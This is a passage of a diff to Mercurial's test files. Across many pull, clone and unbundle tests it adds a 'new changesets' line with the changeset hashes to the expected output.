@@ -425,6 +430,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets a323cae54f6e
   notify: sending 2 subscribers 1 changes
   (run 'hg update' to get a working copy)
   $ $PYTHON $TESTTMP/filter.py < b/mbox
@@ -494,6 +500,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b7cf10b2bdec
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
@@ -523,6 +530,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 5a07df312a79
   MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
   Content-Transfer-Encoding: 7bit
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -1010,6 +1010,7 @@
   added 1 changesets with 0 changes to 1 files (+1 heads)
   2 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 7a230b46bf61
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg log --hidden -G
   o  changeset:   2:7a230b46bf61
diff --git a/tests/test-obsolete-bundle-strip.t b/tests/test-obsolete-bundle-strip.t
--- a/tests/test-obsolete-bundle-strip.t
+++ b/tests/test-obsolete-bundle-strip.t
@@ -207,6 +207,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 2 new obsolescence markers
   # unbundling: obsoleted 1 changesets
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
   $ testrevs 'desc("C-A")'
@@ -246,6 +247,7 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with prune children
@@ -371,6 +373,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 1 new obsolescence markers
   # unbundling: obsoleted 1 changesets
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 bundling multiple revisions
@@ -432,6 +435,7 @@
   # unbundling: adding file changes
   # unbundling: added 3 changesets with 3 changes to 3 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with precursors also pruned
@@ -532,6 +536,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 1 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
   $ testrevs 'desc("C-A")'
@@ -571,6 +576,7 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with missing prune
@@ -653,6 +659,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg update' to get a working copy)
 
 chain with precursors also pruned
@@ -732,6 +739,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg update' to get a working copy)
 
 Chain with fold and split
@@ -971,6 +979,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 6 new obsolescence markers
   # unbundling: obsoleted 3 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 Bundle multiple revisions
@@ -1072,6 +1081,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 7 new obsolescence markers
   # unbundling: obsoleted 2 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * top one and initial precursors
@@ -1138,6 +1148,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 6 new obsolescence markers
   # unbundling: obsoleted 3 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * top one and one of the split
@@ -1206,6 +1217,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 7 new obsolescence markers
   # unbundling: obsoleted 2 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * all
@@ -1280,6 +1292,7 @@
   # unbundling: adding file changes
   # unbundling: added 5 changesets with 5 changes to 5 files (+4 heads)
   # unbundling: 9 new obsolescence markers
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 changeset pruned on its own
@@ -1381,4 +1394,5 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files
   # unbundling: 1 new obsolescence markers
+  # unbundling: new changesets 9ac430e15fca
   # unbundling: (run 'hg update' to get a working copy)
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -71,6 +71,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 1 files (+1 heads)
+  new changesets f89bcc95eba5
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 check that bundle is not affected
@@ -123,6 +124,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 96ee1d7354c4:6a29ed9c68de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -168,5 +170,6 @@
   bundle2-input-part: total payload size 24
   bundle2-input-bundle: 2 parts total
   checking for updated bookmarks
+  new changesets bec0734cd68e
   updating the branch cache
   (run 'hg heads' to see heads, 'hg merge' to merge)
diff --git a/tests/test-obsolete-checkheads.t b/tests/test-obsolete-checkheads.t
--- a/tests/test-obsolete-checkheads.t
+++ b/tests/test-obsolete-checkheads.t
@@ -236,6 +236,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b4952fcf48cf
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local
diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
--- a/tests/test-obsolete-distributed.t
+++ b/tests/test-obsolete-distributed.t
@@ -151,6 +151,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 391a2bf12b1b
   (run 'hg heads' to see heads)
   $ hg log -G
   o  4:391a2bf12b1b c_B1
@@ -277,6 +278,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d33b0a3a6464:ef908e42ce65
   (run 'hg update' to get a working copy)
   $ hg up 'desc("c_A")'
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -323,6 +325,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   3 new obsolescence markers
+  new changesets 5b5708a437f2:956063ac4557
   (run 'hg update' to get a working copy)
   $ hg up 'desc("c_A")'
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -392,6 +395,7 @@
   added 2 changesets with 0 changes to 2 files (+1 heads)
   6 new obsolescence markers
   obsoleted 2 changesets
+  new changesets 9866d64649a5:77ae25d99ff0
   (run 'hg heads' to see heads)
   $ hg debugobsolete
   3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -365,6 +365,7 @@
   adding file changes
   added 4 changesets with 4 changes to 4 files (+1 heads)
   5 new obsolescence markers
+  new changesets 1f0dee641bb7:6f9641995072
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg debugobsolete
   1337133713371337133713371337133713371337 5601fb93a350734d935195fee37f4054c529ff39 0 (Thu Jan 01 00:22:19 1970 +0000) {'user': 'test'}
@@ -470,6 +471,7 @@
   adding file changes
   added 4 changesets with 4 changes to 4 files (+1 heads)
   5 new obsolescence markers
+  new changesets 1f0dee641bb7:6f9641995072
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg debugobsolete
   1339133913391339133913391339133913391339 ca819180edb99ed25ceafb3e9584ac287e240b00 0 (Thu Jan 01 00:22:19 1970 +0000) {'user': 'test'}
@@ -786,6 +788,7 @@
   adding manifests
   adding file changes
   added 62 changesets with 63 changes to 9 files (+60 heads)
+  new changesets 50c51b361e60:c15e9edfca13
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ for node in `hg log -r 'desc(babar_)' --template '{node}\n'`;
   > do
@@ -1140,6 +1143,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 4b34ecfb0d56:44526ebb0f98
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../other-bundleoverlay
@@ -1397,6 +1401,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets e016b03fd86f:b0551702f918
   (run 'hg update' to get a working copy)
   $ hg debugobsolete | sort
   e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
diff --git a/tests/test-patch.t b/tests/test-patch.t
--- a/tests/test-patch.t
+++ b/tests/test-patch.t
@@ -32,6 +32,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 8580ff50825a
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -68,6 +69,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7fadb901d403
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd d
diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -3053,6 +3053,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets 8580ff50825a:2f9fa9b998c5
   updating to branch test
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo 'publicurl=$TESTTMP/t3' >> $HGRCPATH
diff --git a/tests/test-phases-exchange.t b/tests/test-phases-exchange.t
--- a/tests/test-phases-exchange.t
+++ b/tests/test-phases-exchange.t
@@ -80,6 +80,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 54acac6f23ab:b555f63b6063
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
   (run 'hg heads' to see heads, 'hg merge' to merge)
@@ -148,6 +149,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f54f1bb90ff3
   test-debug-phase: new rev 4:  x -> 0
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -202,6 +204,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets 054250a37db4:b555f63b6063
   test-debug-phase: new rev 0:  x -> 1
   test-debug-phase: new rev 1:  x -> 1
   test-debug-phase: new rev 2:  x -> 1
@@ -235,6 +238,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets 054250a37db4:54acac6f23ab
   test-debug-phase: new rev 0:  x -> 1
   test-debug-phase: new rev 1:  x -> 1
   test-debug-phase: new rev 2:  x -> 1
@@ -256,6 +260,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f54f1bb90ff3
   test-debug-phase: new rev 3:  x -> 1
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hgph
@@ -279,6 +284,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b555f63b6063
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
   test-debug-phase: move rev 2: 1 -> 0
@@ -326,6 +332,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d6bcb4f74035:145e75495359
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
   test-debug-phase: move rev 3: 1 -> 0
@@ -371,6 +378,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d6bcb4f74035:145e75495359
   test-debug-phase: new rev 5:  x -> 1
   test-debug-phase: new rev 6:  x -> 1
   (run 'hg update' to get a working copy)
@@ -930,6 +938,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 435b5d83910c
   test-debug-phase: new rev 10:  x -> 1
   (run 'hg update' to get a working copy)
   $ hgph -R ../mu
@@ -1059,6 +1068,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5237fb433fc8
   test-debug-phase: new rev 13:  x -> 1
   (run 'hg update' to get a working copy)
   $ hgph
@@ -1120,6 +1130,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets e9f537e46dea:b740e3e5c05d
   test-debug-phase: new rev 5:  x -> 0
   test-debug-phase: new rev 6:  x -> 0
   (run 'hg update' to get a working copy)
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -247,6 +247,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets 4a2df7238c3b:cf9fe039dfd6
   test-debug-phase: new rev 0:  x -> 0
   test-debug-phase: new rev 1:  x -> 0
   test-debug-phase: new rev 2:  x -> 0
@@ -602,6 +603,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 6 changes to 6 files
+  new changesets 4a2df7238c3b:17a481b3bccb
   test-debug-phase: new rev 0:  x -> 0
   test-debug-phase: new rev 1:  x -> 0
   test-debug-phase: new rev 2:  x -> 0
diff --git a/tests/test-pull-branch.t b/tests/test-pull-branch.t
--- a/tests/test-pull-branch.t
+++ b/tests/test-pull-branch.t
@@ -19,6 +19,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 495a0ec48aaf:50e089d141b7
   (run 'hg update' to get a working copy)
   $ hg up branchA
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -47,6 +48,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 9f878dea0b96:5be59ce5067b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Develop both branches:
@@ -72,6 +74,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 7c8fe7e20c32:453e93fa00a5
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Add a head on other branch:
@@ -102,6 +105,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets da3a8a0161c6:b61cab8fe4e8
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ cd ../t
@@ -132,6 +136,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files (+1 heads)
+  new changesets 0c4d148ae29e:ecfc3f4a6fd9
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "d740e1a584e7: a5.2"
   1 other heads for branch "branchA"
@@ -164,6 +169,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7d8ffa4c0b22
   (run 'hg heads' to see heads)
 
 Make changes on default and branchC on tt
@@ -176,6 +182,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 2b94b54b6b5f
   (run 'hg heads' to see heads)
   $ hg up -C default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -211,6 +218,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+2 heads)
+  new changesets eed40c14b407:e634733b0309
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ cd ..
diff --git a/tests/test-pull-http.t b/tests/test-pull-http.t
--- a/tests/test-pull-http.t
+++ b/tests/test-pull-http.t
@@ -23,6 +23,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat test3/.hg/hgrc
diff --git a/tests/test-pull-permission.t b/tests/test-pull-permission.t
--- a/tests/test-pull-permission.t
+++ b/tests/test-pull-permission.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 97310831fa1a
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-pull-pull-corruption.t b/tests/test-pull-pull-corruption.t
--- a/tests/test-pull-pull-corruption.t
+++ b/tests/test-pull-pull-corruption.t
@@ -18,6 +18,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 495a0ec48aaf
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd source2
@@ -49,6 +50,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets ca3c05af513e
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ cat pull.out
   pulling from ../source1
@@ -57,6 +59,7 @@
   adding manifests
   adding file changes
   added 10 changesets with 10 changes to 1 files
+  new changesets 495a0ec48aaf:1e7b6c812ca8
   (run 'hg update' to get a working copy)
 
 see the result
diff --git a/tests/test-pull-r.t b/tests/test-pull-r.t
--- a/tests/test-pull-r.t
+++ b/tests/test-pull-r.t
@@ -49,6 +49,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets 8c900227dd5d:00cfe9073916
   (run 'hg update' to get a working copy)
   $ hg heads -q --closed
   4:00cfe9073916
@@ -121,6 +122,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets effea6de0384
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -G
   @  changeset:   2:effea6de0384
diff --git a/tests/test-pull-update.t b/tests/test-pull-update.t
--- a/tests/test-pull-update.t
+++ b/tests/test-pull-update.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 107cefe13e42
   abort: uncommitted changes
   [255]
   $ hg --config extensions.strip= strip --no-backup tip
@@ -40,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 107cefe13e42
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "800c91d5bfc1: m"
   1 other heads for branch "default"
@@ -55,6 +57,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 800c91d5bfc1
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "107cefe13e42: m"
   1 other heads for branch "default"
@@ -76,6 +79,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (-1 heads)
+  new changesets 483b76ad4309
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Similarity between "hg update" and "hg pull -u" in handling bookmark
@@ -103,6 +107,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark active-after-pull
+  new changesets f815b3da6163
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark active-after-pull)
 
@@ -131,6 +136,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark active-after-pull
+  new changesets f815b3da6163
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark active-after-pull)
 
@@ -168,6 +174,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
@@ -194,6 +201,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
@@ -220,6 +228,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
diff --git a/tests/test-pull.t b/tests/test-pull.t
--- a/tests/test-pull.t
+++ b/tests/test-pull.t
@@ -25,6 +25,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 340e38bdcde4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -76,6 +77,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 340e38bdcde4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Test 'file:' uri handling:
diff --git a/tests/test-push-checkheads-partial-C1.t b/tests/test-push-checkheads-partial-C1.t
--- a/tests/test-push-checkheads-partial-C1.t
+++ b/tests/test-push-checkheads-partial-C1.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C2.t b/tests/test-push-checkheads-partial-C2.t
--- a/tests/test-push-checkheads-partial-C2.t
+++ b/tests/test-push-checkheads-partial-C2.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C3.t b/tests/test-push-checkheads-partial-C3.t
--- a/tests/test-push-checkheads-partial-C3.t
+++ b/tests/test-push-checkheads-partial-C3.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C4.t b/tests/test-push-checkheads-partial-C4.t
--- a/tests/test-push-checkheads-partial-C4.t
+++ b/tests/test-push-checkheads-partial-C4.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B2.t b/tests/test-push-checkheads-pruned-B2.t
--- a/tests/test-push-checkheads-pruned-B2.t
+++ b/tests/test-push-checkheads-pruned-B2.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B3.t b/tests/test-push-checkheads-pruned-B3.t
--- a/tests/test-push-checkheads-pruned-B3.t
+++ b/tests/test-push-checkheads-pruned-B3.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B4.t b/tests/test-push-checkheads-pruned-B4.t
--- a/tests/test-push-checkheads-pruned-B4.t
+++ b/tests/test-push-checkheads-pruned-B4.t
@@ -54,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B5.t b/tests/test-push-checkheads-pruned-B5.t
--- a/tests/test-push-checkheads-pruned-B5.t
+++ b/tests/test-push-checkheads-pruned-B5.t
@@ -57,6 +57,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d73caddc5533:821fb21d0dd2
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-pruned-B8.t b/tests/test-push-checkheads-pruned-B8.t
--- a/tests/test-push-checkheads-pruned-B8.t
+++ b/tests/test-push-checkheads-pruned-B8.t
@@ -55,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A2.t b/tests/test-push-checkheads-superceed-A2.t
--- a/tests/test-push-checkheads-superceed-A2.t
+++ b/tests/test-push-checkheads-superceed-A2.t
@@ -52,6 +52,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A3.t b/tests/test-push-checkheads-superceed-A3.t
--- a/tests/test-push-checkheads-superceed-A3.t
+++ b/tests/test-push-checkheads-superceed-A3.t
@@ -55,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A6.t b/tests/test-push-checkheads-superceed-A6.t
--- a/tests/test-push-checkheads-superceed-A6.t
+++ b/tests/test-push-checkheads-superceed-A6.t
@@ -59,6 +59,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-superceed-A7.t b/tests/test-push-checkheads-superceed-A7.t
--- a/tests/test-push-checkheads-superceed-A7.t
+++ b/tests/test-push-checkheads-superceed-A7.t
@@ -59,6 +59,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 'desc(C0)'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D2.t b/tests/test-push-checkheads-unpushed-D2.t
--- a/tests/test-push-checkheads-unpushed-D2.t
+++ b/tests/test-push-checkheads-unpushed-D2.t
@@ -57,6 +57,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D3.t b/tests/test-push-checkheads-unpushed-D3.t
--- a/tests/test-push-checkheads-unpushed-D3.t
+++ b/tests/test-push-checkheads-unpushed-D3.t
@@ -56,6 +56,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D4.t b/tests/test-push-checkheads-unpushed-D4.t
--- a/tests/test-push-checkheads-unpushed-D4.t
+++ b/tests/test-push-checkheads-unpushed-D4.t
@@ -73,6 +73,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-unpushed-D5.t b/tests/test-push-checkheads-unpushed-D5.t
--- a/tests/test-push-checkheads-unpushed-D5.t
+++ b/tests/test-push-checkheads-unpushed-D5.t
@@ -62,6 +62,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets d73caddc5533:0f88766e02d6
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 'desc(C0)'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -137,6 +137,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 842e2fac6304
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
